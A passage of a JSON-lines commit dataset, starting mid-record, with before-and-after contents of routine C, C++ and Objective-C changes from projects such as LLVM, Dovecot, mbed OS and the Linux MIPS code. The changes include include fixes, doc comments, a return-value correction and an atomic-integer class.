im\/platform_external_libunwind,ehsan\/libunwind,tronical\/libunwind,rantala\/libunwind,frida\/libunwind,rogwfu\/libunwind,dropbox\/libunwind,rogwfu\/libunwind,martyone\/libunwind,0xlab\/0xdroid-external_libunwind,vtjnash\/libunwind,tronical\/libunwind,rantala\/libunwind,DroidSim\/platform_external_libunwind,maltek\/platform_external_libunwind,tony\/libunwind,maltek\/platform_external_libunwind,geekboxzone\/mmallow_external_libunwind,vegard\/libunwind,zeldin\/platform_external_libunwind,unkadoug\/libunwind,adsharma\/libunwind,Chilledheart\/libunwind,yuyichao\/libunwind,krytarowski\/libunwind,fdoray\/libunwind,dreal-deps\/libunwind,android-ia\/platform_external_libunwind,evaautomation\/libunwind,project-zerus\/libunwind,wdv4758h\/libunwind,zliu2014\/libunwind-tilegx,bo-on-software\/libunwind"}
{"commit":"e5e5f7dff34caa4772119ec04b7356abd25fde95","old_file":"src\/transfer_function_parser.h","new_file":"src\/transfer_function_parser.h","old_contents":"#ifndef SRC_TRANSFER_FUNCTION_PARSER_H_\n\n#define SRC_TRANSFER_FUNCTION_PARSER_H_\n\n#include <QGradient>\n#include <QString>\n#include <QXmlDefaultHandler>\n\n\/**\n * \\brief \n *\n * \n *\/\nclass QGradientContentHandler;\n\nclass TransferFunctionParser\n{\n public:\n  TransferFunctionParser(QString path);\n\n  QGradient *parse();\n\n private:\n  QXmlSimpleReader *xmlReader;\n  QXmlInputSource *source;\n  QGradientContentHandler *handler;\n};\n\n#endif  \/\/ SRC_TRANSFER_FUNCTION_PARSER_H_\n","new_contents":"#ifndef SRC_TRANSFER_FUNCTION_PARSER_H_\n\n#define SRC_TRANSFER_FUNCTION_PARSER_H_\n\n#include <QGradient>\n#include <QString>\n#include <QXmlDefaultHandler>\n\nclass QGradientContentHandler;\n\n\/**\n * \\brief Parser for XML representation of a QGradient used as transfer function\n *\n *\/\nclass TransferFunctionParser\n{\n public:\n  TransferFunctionParser(QString path);\n\n  QGradient *parse();\n\n private:\n  QXmlSimpleReader *xmlReader;\n  QXmlInputSource *source;\n  QGradientContentHandler *handler;\n};\n\n#endif  \/\/ SRC_TRANSFER_FUNCTION_PARSER_H_\n","subject":"Add brief description for TransferFunctionParser.","message":"Add brief description for TransferFunctionParser.\n","lang":"C","license":"mit","repos":"Christof\/tf-parser"}
{"commit":"af2944ac5488f8d7e5f109f8a55f98d072ec377c","old_file":"arch\/mips\/pci\/pci-ev64120.c","new_file":"arch\/mips\/pci\/pci-ev64120.c","old_contents":"#include <linux\/pci.h>\n\nint __init pcibios_map_irq(struct pci_dev *dev, u8 slot, u8 pin)\n{\n\tint irq;\n\n\tif (!pin)\n\t\treturn 0;\n\n\tirq = allocate_irqno();\n\tif (irq < 0)\n\t\treturn 0;\n\n\treturn irq;\n}\n\n\/* Do platform specific device initialization at pci_enable_device() time *\/\nint pcibios_plat_dev_init(struct pci_dev *dev)\n{\n\treturn 0;\n}\n","new_contents":"#include <linux\/pci.h>\n#include <asm\/irq.h>\n\nint __init pcibios_map_irq(struct pci_dev *dev, u8 slot, u8 pin)\n{\n\tint irq;\n\n\tif (!pin)\n\t\treturn 0;\n\n\tirq = allocate_irqno();\n\tif (irq < 0)\n\t\treturn 0;\n\n\treturn irq;\n}\n\n\/* Do platform specific device initialization at pci_enable_device() time *\/\nint pcibios_plat_dev_init(struct pci_dev *dev)\n{\n\treturn 0;\n}\n","subject":"Include <asm\/irq.h> to fix warning.","message":"[MIPS] EV64120: Include <asm\/irq.h> to fix warning.\n\narch\/mips\/pci\/pci-ev64120.c:10: warning: implicit declaration of function 'allocate_irqno'\n\nSigned-off-by: Ralf Baechle <92f48d309cda194c8eda36aa8f9ae28c488fa208@linux-mips.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"e5bda7a4c107e91faa87657611bbd9ef174fadce","old_file":"templates\/c.c","new_file":"templates\/c.c","old_contents":"#include <stdio.h>\n\nint\nmain(int argc, char const *argv[])\n{\n\tint answer = 0;\n\n\tprintf(\"%d\\n\");\n\n\treturn 0;\n}\n","new_contents":"#include <stdio.h>\n\nint\nmain(int argc, char const *argv[])\n{\n\tint answer = 0;\n\n\tprintf(\"%d\\n\", answer);\n\n\treturn 0;\n}\n","subject":"Fix mistake in C template","message":"Fix mistake in C template\n","lang":"C","license":"mit","repos":"yaworsw\/euler-manager,yaworsw\/euler-manager,yaworsw\/euler-manager,yaworsw\/euler-manager,yaworsw\/euler-manager,yaworsw\/euler-manager,yaworsw\/euler-manager"}
{"commit":"10698eca9f9890e28f60f6a417951e23d65ebfb6","old_file":"src\/lib\/serialize\/str_join.h","new_file":"src\/lib\/serialize\/str_join.h","old_contents":"\/* This code is subject to the terms of the Mozilla Public License, v.2.0. http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n#pragma once\n\n#include <sstream>\n\nnamespace turbo {\nnamespace str\n{\n\ttemplate <class Iter>\n\tstd::string join(const Iter& start, const Iter& end, char delim=' ')\n\t{\n\t\tstd::stringstream ss;\n\t\tIter it = start;\n\t\tif (it != end)\n\t\t\tss << *it++;\n\t\tfor (; it != end; ++it)\n\t\t\tss << delim << *it;\n\t\treturn ss.str();\n\t}\n\n\ttemplate <class Type>\n\tstd::string join(const Type& container, char delim=' ')\n\t{\n\t\treturn join(container.begin(), container.end(), delim);\n\t}\n}\n}\/\/ namespace turbo\n","new_contents":"\/* This code is subject to the terms of the Mozilla Public License, v.2.0. http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n#pragma once\n\n#include <sstream>\n\nnamespace turbo {\nnamespace str\n{\n\ttemplate <class Iter>\n\tinline std::string join(const Iter& start, const Iter& end, char delim=' ')\n\t{\n\t\tstd::stringstream ss;\n\t\tIter it = start;\n\t\tif (it != end)\n\t\t\tss << *it++;\n\t\tfor (; it != end; ++it)\n\t\t\tss << delim << *it;\n\t\treturn ss.str();\n\t}\n\n\ttemplate <class Type>\n\tinline std::string join(const Type& container, char delim=' ')\n\t{\n\t\treturn join(container.begin(), container.end(), delim);\n\t}\n}\n}\/\/ namespace turbo\n","subject":"Make this explicitly inline for consistency's sake.","message":"Make this explicitly inline for consistency's sake.\n","lang":"C","license":"mpl-2.0","repos":"sz3\/turbolib,sz3\/turbolib,sz3\/turbolib,sz3\/turbolib"}
{"commit":"831a01c04c02b61998d3adadf5db00eb7829427b","old_file":"src\/qt-ui\/basicui.h","new_file":"src\/qt-ui\/basicui.h","old_contents":"\n#ifndef BASICUI_H_\n#define BASICUI_H_\n\n#include <QMainWindow>\n#include \"QsLog.h\"\n#include \"mainwidget.h\"\n#include \"workspace.h\"\n#include \"uicontroller.h\"\n\nclass BasicUi: public QMainWindow {\n\n    Q_OBJECT\n\n    public:\n        BasicUi(UiController * controller, QWidget *parent = 0);\n        void setWorkspace(Workspace *);\n        void setUiController(UiController *);\n        ~BasicUi(){\n            if(NULL != mainWidget)\n                delete mainWidget;\n        }\n\n    private:\n        MainWidget *mainWidget;\n        \/\/ QGridLayout  *layout;\n        \/\/ QPushButton  *editModeButton;\n        \/\/ EditWidget  *editWidget;\n        \/\/ PlayWidget  *playWidget;\n        \/\/ bool editMode;\n        \/\/ Workspace *wsp;\n        \/\/ Controller *controller;\n};\n\n#endif\n","new_contents":"\n#ifndef BASICUI_H_\n#define BASICUI_H_\n\n#include <QMainWindow>\n#include \"QsLog.h\"\n#include \"mainwidget.h\"\n#include \"workspace.h\"\n#include \"uicontroller.h\"\n\nclass BasicUi: public QMainWindow {\n\n    Q_OBJECT\n\n    public:\n        BasicUi(UiController * controller, QWidget *parent = 0);\n        void setWorkspace(Workspace *);\n        void setUiController(UiController *);\n\n    private:\n        MainWidget *mainWidget;\n        \/\/ QGridLayout  *layout;\n        \/\/ QPushButton  *editModeButton;\n        \/\/ EditWidget  *editWidget;\n        \/\/ PlayWidget  *playWidget;\n        \/\/ bool editMode;\n        \/\/ Workspace *wsp;\n        \/\/ Controller *controller;\n};\n\n#endif\n","subject":"Revert of a previous commit \"Delete main widget in BasicUi\"","message":"Revert of a previous commit \"Delete main widget in BasicUi\"","lang":"C","license":"apache-2.0","repos":"jbruggem\/jingles-impro,jbruggem\/jingles-impro,jbruggem\/jingles-impro"}
{"commit":"ded8ea7469b305ee6ceb65103af010329b97ce9a","old_file":"src\/time-module.c","new_file":"src\/time-module.c","old_contents":"#include <stdlib.h>\n\n#include \"graphics.h\"\n#include \"surface.h\"\n#include \"time-module.h\"\n\ntypedef struct TimeModule {\n  Module base;\n} TimeModule;\n\nModule* newTimeModule()\n{\n  TimeModule* module = malloc(sizeof(TimeModule));\n  module->base.width = 150;\n  module->base.height = 100;\n  module->base.updateFunc = updateTimeModule;\n  module->base.freeFunc = freeTimeModule;\n  return (Module*)module;\n}\n\nvoid freeTimeModule(Module* module)\n{\n  free(module);\n}\n\nvoid updateTimeModule(Module* module, Surface* surface)\n{\n  setDrawColor(surface, 1.0, 1.0, 1.0, 0.8);\n  drawRect(surface, 0, 0, module->width, module->height);\n\n  setDrawColor(surface, 0, 0, 0, 0.8);\n  drawText(surface, 10, 10, 32, \"monaco\", \"Good\");\n}\n","new_contents":"#include <stdlib.h>\n#include <time.h>\n\n#include \"graphics.h\"\n#include \"surface.h\"\n#include \"time-module.h\"\n\ntypedef struct TimeModule {\n  Module base;\n} TimeModule;\n\nModule* newTimeModule()\n{\n  TimeModule* module = malloc(sizeof(TimeModule));\n  module->base.width = 150;\n  module->base.height = 100;\n  module->base.updateFunc = updateTimeModule;\n  module->base.freeFunc = freeTimeModule;\n  return (Module*)module;\n}\n\nvoid freeTimeModule(Module* module)\n{\n  free(module);\n}\n\nvoid updateTimeModule(Module* module, Surface* surface)\n{\n  \/\/ Get the current time\n  time_t t;\n  struct tm* tm;\n  t = time(NULL);\n  tm = localtime(&t);\n\n  char strTime[6];\n  strftime(strTime, sizeof strTime, \"%H:%M\", tm);\n\n  \/\/ Draw the rect\n  setDrawColor(surface, 1.0, 1.0, 1.0, 0.8);\n  drawRect(surface, 0, 0, module->width, module->height);\n\n  \/\/ Draw the time\n  setDrawColor(surface, 0, 0, 0, 0.8);\n  drawText(surface, 10, 10, 32, \"monaco\", strTime);\n}\n","subject":"Replace placeholder string in time module with time.","message":"Replace placeholder string in time module with time.\n","lang":"C","license":"mit","repos":"jamiesyme\/minfo,jamiesyme\/minfo"}
{"commit":"de041647db8aeed049ce1124362a022472e7d899","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"emulator.h\"\n\nvoid usage(char *programName);\n\nint main(int argsNum, char *args[])\n{\n    int i;\n    int debugMode = 0;\n    char *filename = NULL;\n    emulator *e;\n    \n    \/* Handle arguments *\/\n    for (i = 0; i < argsNum; i++)\n    {\n        char *arg = args[i];\n        \n        if (strcmp(arg, \"-d\") == 0)\n            debugMode = 1;\n        else\n            filename = arg;\n    }\n    \n    \/* Check if we have the right arguments *\/\n    if (argsNum < 2 || filename == NULL)\n        usage(args[0]);\n    \n    \/* Create an emulator, load in the file, and run the contents of memory *\/\n    e = emulator_new();\n    emulator_load_file(e, filename);\n    emulator_run(e);\n    \n    \/* Print out register and memory info if debug mode is enabled *\/\n    if (debugMode)\n    {\n        emulator_print_memory(e);\n        emulator_print_registers(e);\n    }\n    \n    \/* Close the emulator *\/\n    emulator_close(e);\n    \n    return EXIT_SUCCESS;\n}\n\nvoid usage(char *programName)\n{\n    printf(\"usage: %s <options> <input file>\\n\", programName);\n    printf(\"Options:\\n\");\n    printf(\"-d\\tDebug mode\\n\");\n    printf(\"\\nMade by AndyRoth\\n\");\n    \n    exit(EXIT_SUCCESS);\n}","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"emulator.h\"\n\nvoid usage(char *programName);\n\nint main(int argsNum, char *args[])\n{\n    int i;\n    int debugMode = 0;\n    char *filename = NULL;\n    emulator *e;\n    \n    \/* Handle arguments *\/\n    for (i = 1; i < argsNum; i++)\n    {\n        char *arg = args[i];\n        \n        if (strcmp(arg, \"-d\") == 0)\n            debugMode = 1;\n        else\n            filename = arg;\n    }\n    \n    \/* Check if we have the right arguments *\/\n    if (argsNum < 2 || filename == NULL)\n        usage(args[0]);\n    \n    \/* Create an emulator, load in the file, and run the contents of memory *\/\n    e = emulator_new();\n    emulator_load_file(e, filename);\n    emulator_run(e);\n    \n    \/* Print out register and memory info if debug mode is enabled *\/\n    if (debugMode)\n    {\n        emulator_print_memory(e);\n        emulator_print_registers(e);\n    }\n    \n    \/* Close the emulator *\/\n    emulator_close(e);\n    \n    return EXIT_SUCCESS;\n}\n\nvoid usage(char *programName)\n{\n    printf(\"usage: %s <options> <input file>\\n\", programName);\n    printf(\"Options:\\n\");\n    printf(\"-d\\tDebug mode\\n\");\n    printf(\"\\nMade by AndyRoth\\n\");\n    \n    exit(EXIT_SUCCESS);\n}","subject":"Print usage if the only argument is \"-d\"","message":"Print usage if the only argument is \"-d\"\n","lang":"C","license":"mit","repos":"andrewrothman\/4917,andrewrothman\/4917"}
{"commit":"fb9ae2faae28b7ab57651261c1ec98f9bf5b87bb","old_file":"components\/TARGET_PSA\/services\/platform\/COMPONENT_PSA_SRV_EMUL\/platform_emul.c","new_file":"components\/TARGET_PSA\/services\/platform\/COMPONENT_PSA_SRV_EMUL\/platform_emul.c","old_contents":"\/* Copyright (c) 2019 ARM Limited\n *\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"psa\/lifecycle.h\"\n#include \"platform_srv_impl.h\"\n\nuint32_t psa_security_lifecycle_state(void)\n{\n    uint32_t lc_state = 0;\n    return psa_platfrom_lifecycle_get_impl(&lc_state);\n}\n\npsa_status_t mbed_psa_reboot_and_request_new_security_state(uint32_t new_state)\n{\n    return psa_platfrom_lifecycle_change_request_impl(new_state);\n}\n","new_contents":"\/* Copyright (c) 2019 ARM Limited\n *\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"psa\/lifecycle.h\"\n#include \"platform_srv_impl.h\"\n\nuint32_t psa_security_lifecycle_state(void)\n{\n    uint32_t lc_state = 0;\n    psa_status_t status = PSA_LIFECYCLE_SUCCESS;\n    status = psa_platfrom_lifecycle_get_impl(&lc_state);\n    if (status != PSA_LIFECYCLE_SUCCESS) {\n        lc_state = PSA_LIFECYCLE_UNKNOWN;\n    }\n    return lc_state;\n}\n\npsa_status_t mbed_psa_reboot_and_request_new_security_state(uint32_t new_state)\n{\n    return psa_platfrom_lifecycle_change_request_impl(new_state);\n}\n","subject":"Fix incorrect return value in psa_security_lifecycle_state (emul)","message":"Fix incorrect return value in psa_security_lifecycle_state (emul)\n\npsa_security_lifecycle_state should return uint32_t of the security\nlifecycle state.\nbug: psa_platfrom_lifecycle_get_impl return value\nis psa_status_t.\n","lang":"C","license":"apache-2.0","repos":"mbedmicro\/mbed,andcor02\/mbed-os,andcor02\/mbed-os,andcor02\/mbed-os,andcor02\/mbed-os,andcor02\/mbed-os,mbedmicro\/mbed,kjbracey-arm\/mbed,mbedmicro\/mbed,kjbracey-arm\/mbed,kjbracey-arm\/mbed,kjbracey-arm\/mbed,andcor02\/mbed-os,mbedmicro\/mbed,mbedmicro\/mbed"}
{"commit":"1308c45bcd3738e339e257bf17899230a4a62456","old_file":"src\/search\/util\/atomic_int.h","new_file":"src\/search\/util\/atomic_int.h","old_contents":"","new_contents":"\/* -*- mode:linux -*- *\/\n\/**\n * \\file atomic_int.h\n *\n * Atomic integer operations.  This code uses code from\n * liblinuxkernel, which means that it was indirrectly taken from the\n * Linux kernel.\n *\n * \\author Ethan Burns\n * \\date 2008-10-14\n *\/\n\n#if !defined(_ATOMIC_INT_H_)\n#define _ATOMIC_INT_H_\n\n#define LOCK_PREFIX    \"lock;\"\n\n\/**\n * This class defines an atomic integer.  The operations provided as\n * methods of this class can be used concurrently by multiple\n * processors to access this interger value.\n *\n * \\note A these methods are currently x86 specific.  Unfortunately we\n *       will need to add pre-processor macros to make them portable.\n *\/\nclass AtomicInt {\npublic:\n\tAtomicInt(int val);\n\n\tinline int read(void) { return value; }\n\n\tinline void set(int i) { value = i; }\n\n\tinline void add(int i) {\n\t\t__asm__ __volatile__(LOCK_PREFIX \"addl %1,%0\"\n\t\t\t\t     :\"=m\"(value)\n\t\t\t\t     :\"ir\"(i), \"m\"(value));\n\t}\n\n\tinline void sub(int i) {\n\t\t__asm__ __volatile__(LOCK_PREFIX \"subl %1,%0\"\n\t\t\t\t     :\"=m\"(value)\n\t\t\t\t     :\"ir\"(i), \"m\"(value));\n\t}\n\n\tinline void inc(void) {\n\t\t__asm__ __volatile__(LOCK_PREFIX \"incl %0\"\n\t\t\t\t     :\"=m\"(value)\n\t\t\t\t     :\"m\"(value));\n\t}\n\n\tinline void dec(void) {\n\t\t__asm__ __volatile__(LOCK_PREFIX \"decl %0\"\n\t\t\t\t     :\"=m\"(value)\n\t\t\t\t     :\"m\"(value));\n\t}\n\nprivate:\n\tvolatile int value;\n};\n\n#endif\t\/* !_ATOMIC_INT_H_ *\/\n","subject":"Add an AtomicInt class... completely untested.","message":"Add an AtomicInt class... completely untested.\n","lang":"C","license":"mit","repos":"eaburns\/pbnf,eaburns\/pbnf,eaburns\/pbnf,eaburns\/pbnf"}
{"commit":"596cd371eab5e2a5a7112f6fe62adc68e3527526","old_file":"tests\/regression\/00-sanity\/20-if-0-realnode.c","new_file":"tests\/regression\/00-sanity\/20-if-0-realnode.c","old_contents":"#include <assert.h>\n\nvoid stuff() {\n\n}\n\nint main() {\n    \/\/ MyCFG shouldn't ignore loops with exp 0 because they may have else branches\n    bar:\n    if (0) {\n        foo: \/\/ label prevents CIL from optimizing away this branch\n        stuff(); \/\/ something non-empty\n    }\n    else {\n        goto bar; \/\/ direct realnode to If via goto\n        stuff(); \/\/ something non-empty\n    }\n    return 0;\n}","new_contents":"#include <assert.h>\n\nvoid stuff() {\n\n}\n\nint main() {\n    \/\/ MyCFG shouldn't ignore loops with exp 0 because they may have else branches\n    bar:\n    if (0) {\n        foo: \/\/ label prevents CIL from optimizing away this branch\n        stuff(); \/\/ something non-empty\n    }\n    else {\n        goto bar; \/\/ direct realnode to If via goto\n    }\n    return 0;\n}","subject":"Remove unreachable code after goto in 00\/20","message":"Remove unreachable code after goto in 00\/20\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"31d76c90b066974ce8fe710d75c8d315f8a45d03","old_file":"MBContactPicker\/ContactCollectionViewCellModel.h","new_file":"MBContactPicker\/ContactCollectionViewCellModel.h","old_contents":"\/\/\n\/\/  ContactCollectionViewCellModel.h\n\/\/  MBContactPicker\n\/\/\n\/\/  Created by Matt Bowman on 11\/20\/13.\n\/\/  Copyright (c) 2013 Citrrus, LLC. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface ContactCollectionViewCellModel : NSObject\n\n@property (nonatomic, weak) id contactObject;\n@property (nonatomic, copy) NSString *contactTitle;\n\n@end\n","new_contents":"\/\/\n\/\/  ContactCollectionViewCellModel.h\n\/\/  MBContactPicker\n\/\/\n\/\/  Created by Matt Bowman on 11\/20\/13.\n\/\/  Copyright (c) 2013 Citrrus, LLC. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface ContactCollectionViewCellModel : NSObject\n\n@property (nonatomic) id contactObject;\n@property (nonatomic, copy) NSString *contactTitle;\n\n@end\n","subject":"Use a strong reference for the contactObject on the contact view model. Makes it easier to use if you don't have a object that is strongly ref'ed to begin with, like a string ID.","message":"Use a strong reference for the contactObject on the contact view model.  Makes it easier to use if you don't have a object that is strongly ref'ed to begin with, like a string ID.\n","lang":"C","license":"mit","repos":"xuzhiming\/MBContactPicker,octanner\/MBContactPicker,Citrrus\/MBContactPicker"}
{"commit":"e6281f57ea8ea965db6dfa7ed45f07c1ac95aeaa","old_file":"src\/auth\/mycrypt.c","new_file":"src\/auth\/mycrypt.c","old_contents":"#define _XOPEN_SOURCE 4\n#define _XOPEN_SOURCE_EXTENDED 1 \/* 1 needed for AIX *\/\n#define _XOPEN_VERSION 4\n#define _XPG4_2\n#include <unistd.h>\n\n#include \"mycrypt.h\"\n\nchar *mycrypt(const char *key, const char *salt)\n{\n\treturn crypt(key, salt);\n}\n","new_contents":"#define _XOPEN_SOURCE 4\n#define _XOPEN_SOURCE_EXTENDED 1 \/* 1 needed for AIX *\/\n#define _XOPEN_VERSION 4\n#define _XPG4_2\n#ifdef CRYPT_USE_XPG6\n#  define _XPG6 \/* Some Solaris versions require this, some break with this *\/\n#endif\n#include <unistd.h>\n\n#include \"mycrypt.h\"\n\nchar *mycrypt(const char *key, const char *salt)\n{\n\treturn crypt(key, salt);\n}\n","subject":"Add _XPG6 macro if needed..","message":"Add _XPG6 macro if needed..\n\n--HG--\nbranch : HEAD\n","lang":"C","license":"mit","repos":"jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,dscho\/dovecot,dscho\/dovecot,jkerihuel\/dovecot,jkerihuel\/dovecot,jwm\/dovecot-notmuch,dscho\/dovecot,jkerihuel\/dovecot,jwm\/dovecot-notmuch,jkerihuel\/dovecot,dscho\/dovecot,jkerihuel\/dovecot,jwm\/dovecot-notmuch,dscho\/dovecot"}
{"commit":"e6dfb05d7deddc82060c8a34944b2166e8e26870","old_file":"DeltaDNA\/DeltaDNA.h","new_file":"DeltaDNA\/DeltaDNA.h","old_contents":"\/\/\n\/\/ Copyright (c) 2016 deltaDNA Ltd. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\n#ifndef _DELTADNA_\n#define _DELTADNA_\n\n#import <DeltaDNA\/DDNASDK.h>\n#import <DeltaDNA\/DDNALog.h>\n#import <DeltaDNA\/DDNASettings.h>\n#import <DeltaDNA\/DDNAParams.h>\n#import <DeltaDNA\/DDNAEvent.h>\n#import <DeltaDNA\/DDNAProduct.h>\n#import <DeltaDNA\/DDNATransaction.h>\n#import <DeltaDNA\/DDNAEngagement.h>\n#import <DeltaDNA\/DDNAEngageFactory.h>\n#import <DeltaDNA\/DDNAImageMessage.h>\n#import <DeltaDNA\/DDNAEventAction.h>\n#import <DeltaDNA\/DDNAEventActionHandler.h>\n#import <DeltaDNA\/DDNAPinpointer.h>\n\n#endif \/* _DELTADNA_ *\/\n","new_contents":"\/\/\n\/\/ Copyright (c) 2016 deltaDNA Ltd. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\n#ifndef _DELTADNA_\n#define _DELTADNA_\n\n#import <DeltaDNA\/DDNASDK.h>\n#import <DeltaDNA\/DDNALog.h>\n#import <DeltaDNA\/DDNASettings.h>\n#import <DeltaDNA\/DDNAParams.h>\n#import <DeltaDNA\/DDNAEvent.h>\n#import <DeltaDNA\/DDNAProduct.h>\n#import <DeltaDNA\/DDNATransaction.h>\n#import <DeltaDNA\/DDNAEngagement.h>\n#import <DeltaDNA\/DDNAEngageFactory.h>\n#import <DeltaDNA\/DDNAImageMessage.h>\n#import <DeltaDNA\/DDNAEventAction.h>\n#import <DeltaDNA\/DDNAEventActionHandler.h>\n\n#endif \/* _DELTADNA_ *\/\n","subject":"Remove header that is no longer present","message":"DDSDK-7: Remove header that is no longer present\n","lang":"C","license":"apache-2.0","repos":"deltaDNA\/ios-sdk,deltaDNA\/ios-sdk,deltaDNA\/ios-sdk"}
{"commit":"273595f90735f3294c1a33968db69cfc3031cb0d","old_file":"runtime\/libprofile\/Profiling.h","new_file":"runtime\/libprofile\/Profiling.h","old_contents":"\/*===-- Profiling.h - Profiling support library support routines --*- C -*-===*\\\n|*\n|*                     The LLVM Compiler Infrastructure\n|*\n|* This file was developed by the LLVM research group and is distributed under\n|* the University of Illinois Open Source License. See LICENSE.TXT for details.\n|* \n|*===----------------------------------------------------------------------===*|\n|* \n|* This file defines functions shared by the various different profiling\n|* implementations.\n|*\n\\*===----------------------------------------------------------------------===*\/\n\n#ifndef PROFILING_H\n#define PROFILING_H\n\n\/* save_arguments - Save argc and argv as passed into the program for the file\n * we output.\n *\/\nint save_arguments(int argc, const char **argv);\n\nenum ProfilingType {\n  Arguments = 1,   \/* The command line argument block *\/\n  Function  = 2,   \/* Function profiling information  *\/\n  Block     = 3,   \/* Block profiling information     *\/\n  Edge      = 4,   \/* Edge profiling information      *\/\n  Path      = 5    \/* Path profiling information      *\/\n};\n\nvoid write_profiling_data(enum ProfilingType PT, unsigned *Start,\n                          unsigned NumElements);\n\n#endif\n","new_contents":"\/*===-- Profiling.h - Profiling support library support routines --*- C -*-===*\\\n|*\n|*                     The LLVM Compiler Infrastructure\n|*\n|* This file was developed by the LLVM research group and is distributed under\n|* the University of Illinois Open Source License. See LICENSE.TXT for details.\n|* \n|*===----------------------------------------------------------------------===*|\n|* \n|* This file defines functions shared by the various different profiling\n|* implementations.\n|*\n\\*===----------------------------------------------------------------------===*\/\n\n#ifndef PROFILING_H\n#define PROFILING_H\n\n\/* save_arguments - Save argc and argv as passed into the program for the file\n * we output.\n *\/\nint save_arguments(int argc, const char **argv);\n\nenum ProfilingType {\n  Arguments = 1,   \/* The command line argument block *\/\n  Function  = 2,   \/* Function profiling information  *\/\n  Block     = 3,   \/* Block profiling information     *\/\n  Edge      = 4,   \/* Edge profiling information      *\/\n  Path      = 5,   \/* Path profiling information      *\/\n  BBTrace   = 6    \/* Basic block trace information   *\/\n};\n\nvoid write_profiling_data(enum ProfilingType PT, unsigned *Start,\n                          unsigned NumElements);\n\n#endif\n","subject":"Add basic block tracing information as a type of \"profiling\" information.","message":"Add basic block tracing information as a type of \"profiling\" information.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@13337 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm"}
